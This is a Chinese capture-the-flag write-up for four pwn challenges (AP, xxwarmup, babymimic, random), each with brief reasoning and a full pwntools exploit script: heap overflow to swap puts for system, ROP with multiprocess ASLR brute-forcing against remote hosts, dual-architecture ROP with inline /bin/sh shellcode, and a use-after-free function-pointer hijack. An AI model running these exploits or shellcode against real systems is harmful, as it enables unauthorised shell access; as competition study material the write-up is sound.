汇总

强网先锋-AP

思路很清晰,在change处,可以溢出。
所有可以通过溢出泄露heap和putslibc地址,然后将putsaddr 换成 systemaddr,在堆块里用 /bin/sh,在show时getshgell,cat flag 如下

from pwn import *
context.log_level = "debug"
context.os = "linux"
context.arch = "amd64"

# p = process("./task_main")
p = remote('117.78.60.139',30014)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def add(lenth,name):
    p.recvuntil('Choice >> \n')
    p.sendline('1')
    p.recvuntil("The length of my owner's name:\n")
    p.sendline(str(lenth))
    p.recvuntil("Give me my owner's name:\n")
    p.send(name)

def show(index):
    p.recvuntil('Choice >> \n')
    p.sendline('2')
    p.recvuntil('Please tell me which tickets would you want to open?\n')
    p.sendline(str(index))
    p.recvuntil("I'm a magic tickets.I will tell you who is my owner!\n")

def edit(index,length,name):
    p.recvuntil('Choice >> \n')
    p.sendline('3')
    p.recvuntil("Please tell me which tickets would you want to change it's owner's name?\n")
    p.sendline(str(index))
    p.recvuntil("The length of my owner's name:\n")
    p.sendline(str(length))
    p.recvuntil("Give me my owner's name:\n")
    p.send(name)

# gdb.attach(p)
add(0x80,"a"*0x7f)
add(0x80,'/bin/sh\x00'.ljust(0x7f,'a'))
edit(0,0x80+0x10+1,'a'*0x90)
show(0)
p.recvuntil('a'*0x90)
heap = p.recvuntil('\n')[:-1]
print heap
heap = u64(heap.ljust(8,'\x00'))
edit(0,0x80+0x18+1,'a'*0x98)
show(0)
p.recvuntil('a'*0x98)
putsaddr = u64(p.recv(6).ljust(8,'\x00'))
libcaddr = putsaddr - libc.symbols['puts']
print "**********"
print hex(heap)
print hex(libcaddr)
payload = 'a'*0x80 + p64(0) + p64(0x21) + p64(heap) + p64(libcaddr + libc.symbols['system'])
edit(0,0x80+0x20+1,payload)
show(1)

p.interactive()

xxwarmup

十分恶心的一道题,sub_80483DB存在栈溢出,难点就在ROP怎么做了,思路就是通过部分改libc_start_main(可以通过sub_80483DB去做),然后再一个ret或者jmp过去,难点是远程开启了aslr这个地址随机了,所以要碰撞一下,概率应该为1/(2^24)(可以先本地关了aslr去做,就不用爆破了)。然后尝试过程如下:

  • 尝试改写为one_gadget,结果8个没有一个成功(虽然后面发现不能拿shell)
  • 尝试改system传/bin/sh,发现在system内有一个抬高栈的操作sub esp, 0x15c,这样esp就指向了不可写的区域,而我们最高能控制到0x40+0x80的地方。就是说sub后一定会到不可以写区域,凉凉
  • 尝试syscall去做,结果edx没gadget,全是call edx,卒
  • 回过头来去改payload,用sub_80483DB把栈复制到0x500高处,然后再把esp改过去,再执行system,然后本地可以/bin/sh了。
  • 然后开启多进程去碰撞远程发现不行,回去看pow.py,发现只能在最开始接收一次输入,然后在输出一次就没了,而且大小都是0x100限制了。
  • 在尝试‘cat *\x00’,可以通过报错发现目录,很长,,,,。因为一开始payload构造的太长了,只剩下8字节放命令,而cat */也不能输出(猜测因为这样先匹配了bin/)

回去重构整个payload,把可以放命令的空间提高到了40字节,然后使用命令’cat _the_flag_dir_name_you_shold_guess/*\x00’,在多进程下碰撞了半天后,成功得到了flag。

exp

#-*- coding: utf-8 -*-
from pwn import *
from hashlib import *
from multiprocessing import Process

# bp 0x8048519
context.log_level = "error"

def gen(one):
    _copy = 0x080483db
    _esp = 0x0804a040
    _libc_start = 0x0804a00c
    ppp_ret =  0x08048619
    pop_ebp = 0x08048518

    rop = ''
    rop += p32(_copy) + p32(ppp_ret) + p32(_libc_start)  + p32(_esp+(13*4)) + p32(3)
    rop += p32(_copy) + p32(ppp_ret) + p32(_esp+0x500-0x44)  + p32(_esp+0x44) + p32(0x40)
    rop += p32(pop_ebp) + p32(_esp+0x500-0x44)
    rop += p32(0x08048512)
    rop += p32(one)
    rop += 'A' * (0x40 - len(rop) )

    rop += p32(0x0804a044)
    rop += p32(_esp+0x500-0x40)
    rop += p32(0x080482c0) * 2
    rop += p32(0)
    rop += p32(_esp+0x510-0x40)
    rop += 'cat _the_flag_dir_name_you_shold_guess/*\x00'

    # print len(rop.encode('hex'))
    # print rop.encode('hex')
    return rop.encode('hex')

# gen(0xf7e29200)

def pow(io):
    chal = io.recvuntil('\n',drop=True)
    return iters.mbruteforce(lambda x: sha256(chal + x).hexdigest().startswith('00000'), string.letters+string.digits, 4, 'fixed')

def random_aslr(n):
    r = ''.join(random.choice('abcdef'+string.digits) for _ in xrange(3))
    ri = int(hex(n)[2:4]+r+hex(n)[-3:], 16)
    return int(hex(n)[2:4]+r+hex(n)[-3:], 16)

def fuck():
    while True:
        io = remote('49.4.30.253', 31337)
        # io = remote('127.0.0.1', 5002)
        io.send(pow(io))
        # io.sendline(gen(random_aslr(0xf7dec000+0x3cd10)))
        # io.sendline(gen(0xf7e29200))
        io.sendline(gen(0xf7dec000+0x3cd10))
        buf = io.recvall()
        print buf
        if '{' in buf or 'flag' in buf:
            print buf
            raw_input()
        io.close()

if __name__ == '__main__':
    p_list = []
    for ip in range(10):
        p = Process(target=fuck)
        p.start()
        p_list.append(p)
        time.sleep(1)
    for res in p_list:
        res.join()

babymimic

ret2syscall的拟态版本,通过add sp,把32和64区分开,然后分别rop一下,具体看exp。其中遇到几个问题:

  • 最开始32和64位都是用syscall做的,32位可以成功,64位syscall执行不了不知道为什么。最后把64位换成用mprotect去增加可执行权限后ret2shellcode
  • 要让32和64位程序执行后你要recv的东西一致才行,因为程序ret前puts了一下,这里要填点东西,然后\x00截断一下
  • flag拿到后还有个异或操作,就很简单了

#-*- coding: utf-8 -*-
from pwn import *
from hashlib import sha256

__author__ = '3summer'
s       = lambda data               :io.send(str(data)) 
sa      = lambda delim,data         :io.sendafter(str(delim), str(data))
sl      = lambda data               :io.sendline(str(data))
sla     = lambda delim,data         :io.sendlineafter(str(delim), str(data))
r       = lambda numb=4096          :io.recv(numb)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
irt     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))

context.terminal = ['tmux', 'sp', '-h', '-l', '110']
context.log_level = 'debug'
token = 'bfdccbebf86687951f6d37b3e5a35fe1'

def dbg(breakpoint):
    gdbscript = ''
    elf_base = 0
    gdbscript += 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint
    gdbscript += 'c\n'
    log.info(gdbscript)
    gdb.attach(io, gdbscript)
    time.sleep(1)

def pow():
    ru('.hexdigest()=')
    sha_256 = ru('\n')
    ru(".encode('hex')=")
    half = ru('\n').decode('hex')
    dic = [chr(i) for i in range(0x100)]
    ans = iters.mbruteforce(lambda x: sha256(half + x).hexdigest()==sha_256, dic, 3, 'fixed')
    sla("skr.encode('hex')=", (half+ans).encode('hex'))
    sla(':', token)

def exploit(io):
    print ru('it?\n')

    # 64位
    # dbg(0x400B33)
    int_0x80_x64 = 0x000000000044e82c
    pop_rax = 0x000000000043b97c
    pop_rdx = 0x000000000043b9d5
    pop_rdi = 0x00000000004005f6 
    pop_rsi = 0x0000000000405895
    read_plt = 0x43B9C0
    add_rsp = 0x00000000004079d4 # add rsp, 0xd8 ; ret

    # 32位
    # dbg(0x804892F)
    int_0x80_x86 = 0x080495a3
    add_esp = 0x0804f095 # add esp, 0x1c ; ret
    read_plt_32 = 0x0806C8E0
    pop_3_ret = 0x08055f54 # pop eax ; pop edx ; pop ebx ; ret
    pop_ecx = 0x0806e9f2 # pop ecx ; pop ebx ; ret

    rop_32 = p32(read_plt_32) + p32(pop_3_ret) + p32(0) + p32(0x80d7000) + p32(0x100) + p32(pop_ecx) + p32(0) + p32(0) + p32(pop_3_ret) + p32(0xb) + p32(0) + p32(0x80d7000) + p32(int_0x80_x86)
    # rop_64 = p64(read_plt) + p64(pop_rax) + p64(0x3b) + p64(pop_rdi) + p64(0x6a13e3) + p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0) + p64(int_0x80_x64)
    rop_64 = p64(read_plt) + p64(pop_rdi) + p64(0x69e000) + p64(pop_rsi) + p64(0x6000) + p64(pop_rdx) + p64(7) + p64(0x43C7A0) + p64(0x6a13e3+8)
    payload = 'test'+'\x00'*0x108 + 'b'*4 + p32(add_esp) + 'c'*4 + p64(add_rsp) + 'd'*0x10 + rop_32.ljust(0xc8,'e') + rop_64
    #                                32_ret                  64_ret                   32_rop(0xc8)             64_rop
    s(payload)
    sa('test\n','/bin/sh\x00'+'jhH\xb8/bin///sPH\x89\xe7hri\x01\x01\x814$\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05')
    return io


if __name__ == '__main__':
    if len(sys.argv) > 2:
        io = remote(sys.argv[1], sys.argv[2])
        pow()
    else:
        io = process(sys.argv[1], 0)
    exploit(io)
    irt()

random

可以分为两种chunk,暂且把calloc的成为func_chunk,malloc的成为data_chunk。

首先在输入name的时候可以带个地址出来,算到pie的基址。然后days和times姑且就输入最大的35和10。然后来看他的func_chunk的4个功能,分别是增,改,删,查,4个函数指针存放func_chunk上,在sub_10DB时调用,他的调用是这样的

free(ptr);
v5(ptr);

很明显存在一点问题,但是又感觉太抽象了。同时注意到add后会问你是否需要再add一个func_chunk。

因为堆上存在函数指针,所以思路应该是和UAF例题类似的看能不能覆盖这个指针,那么如果控制data_chunk和func_chunk大小一样大,应该哪里会造成点错误出来。

开始尝试add,但是我们一轮有10个func_chunk加上随机性,所以add一次然后gdb断下去看下堆。这样重复下去,当我add完第3个的时候发现第3个堆的开始地方居然被写了一个堆指针。仔细研究后发现,bss上的0x203168作为func_chunk的头节点,使用单向链表链接起来。那么可以通过编辑第3个data_chunk,我们能控制:

  • func_chunk的这个单向链表
  • 修改func_chunk的函数指针,通过call rdx可以劫持执行流

后面就是要泄漏libc了,因为限制了chunk大小,全是fast泄漏不了libc,所以构造一个0x91的堆头去free,然后打印出来就能拿到libc,接着就是call rdx执行one_gadget。由于程序逻辑有点绕,调试过程十分虐心。脚本如下:

#-*- coding: utf-8 -*-
from pwn import *


__author__ = '3summer'
s       = lambda data               :io.send(str(data)) 
sa      = lambda delim,data         :io.sendafter(str(delim), str(data))
sl      = lambda data               :io.sendline(str(data))
sla     = lambda delim,data         :io.sendlineafter(str(delim), str(data))
r       = lambda numb=4096          :io.recv(numb)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
irt     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))

binary_file = './random'
context.binary = binary_file
context.terminal = ['tmux', 'sp', '-h', '-l', '110']
context.log_level = 'debug'
elf = ELF(binary_file)
libc = elf.libc
one_gadgets = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
libc.symbols['one_gadget'] = one_gadgets[0]
cnt = 10

def dbg(breakpoint):
    glibc_dir = '/usr/src/glibc/glibc-2.23/'
    gdbscript = 'directory %smalloc\n' % glibc_dir
    gdbscript += 'directory %sstdio-common/\n' % glibc_dir
    gdbscript += 'directory %sstdlib/\n' % glibc_dir
    gdbscript += 'directory %slibio\n' % glibc_dir
    elf_base = int(os.popen('pmap {}| awk \x27{\{print \x241}\}\x27'.format(io.pid)).readlines()[1], 16) if elf.pie else 0
    gdbscript += 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint
    gdbscript += 'c\nvis_heap_chunks 0x555555758000 20\ndqs 0x555555554000+0x203168\ndq 0x555555554000+0x203180 30'
    log.info(gdbscript)
    gdb.attach(io, gdbscript)
    time.sleep(1)

def choice(cmd, *argv):
    global cnt
    while True:
        v = ru('\n')
        if '(Y/N)' in v:
            if cmd in v:
                sl('Y')
                break
            else:
                sl('N')
        elif '(0~10)' in v:
            sl(cnt)
        else:
            pass
    for i in argv:
        if isinstance(i,tuple):
            sla(i[0],i[1])
            continue
        sla(':',i)
add     = lambda size,content,bol   :choice('add',size,content,('(Y/N)',bol))
edit    = lambda idx,content        :choice('update',idx,content)
show    = lambda idx                :choice('view',idx)
delete  = lambda idx                :choice('delete',idx)


def exploit(io):
    global cnt
    # dbg(0x176B) # strdup
    # dbg(0x0177F) # srand
    # dbg(0x11BA) # call func_ptr
    # dbg(0x1425) # add_done
    # dbg(0x159B) # free
    # dbg(0x0150B) # edit_done
    # dbg(0x13F2) # add_2
    # dbg(0x134D) # malloc
    # dbg(0x14E2) # edit_read
    # dbg(0x11AC) # free_call
    # dbg(0x13B3) # add_read

    sa('name:', 'a'*0x8)
    ru('a'*8)
    elf.address = uu64(r(6))-0xb90
    success('elf = 0x%x' % elf.address)
    sla('?\n', 35)

    add(0x3f,'0'*0x10,'Y')
    add(0x3f,'1'*0x10,'Y')
    add(0x17,'2'*0x10,'Y')
    show(2)
    ru('\n')
    heap_base = uu64(ru('\n'))-0xb0
    success('heap = 0x%x' % heap_base)
    edit(2, flat(heap_base+0x1b0, elf.address+0x1427, p8(2)))
    edit(0, flat(heap_base+0x1b0, elf.address+0x1600, 2, 0x91, heap_base+0x190, elf.address+0x129E, 2))
    add(0x3f, flat(heap_base+0x250, elf.address+0x1427, 2), 'N')
    show(2)
    ru('\n')
    unsorted_bin = uu64(r(6))
    libc.address = unsorted_bin-libc.sym['__malloc_hook']-88-0x10
    success('libc = 0x%x' % libc.address)
    edit(1, flat('1'*0x8, 0x41, '/bin/sh\x00', libc.sym.one_gadget, 2))


    return io


if __name__ == '__main__':
    if len(sys.argv) > 1:
        io = remote(sys.argv[1], sys.argv[2])
    else:
        io = process(binary_file, 0)
        # io = process(binary_file, env={"LD_PRELOAD":"./libc-2.23.so"})
    exploit(io)
    irt()

本文章首发在 网安wangan.com 网站上。

上一篇 下一篇
讨论数量: 0
只看当前版本


暂无话题~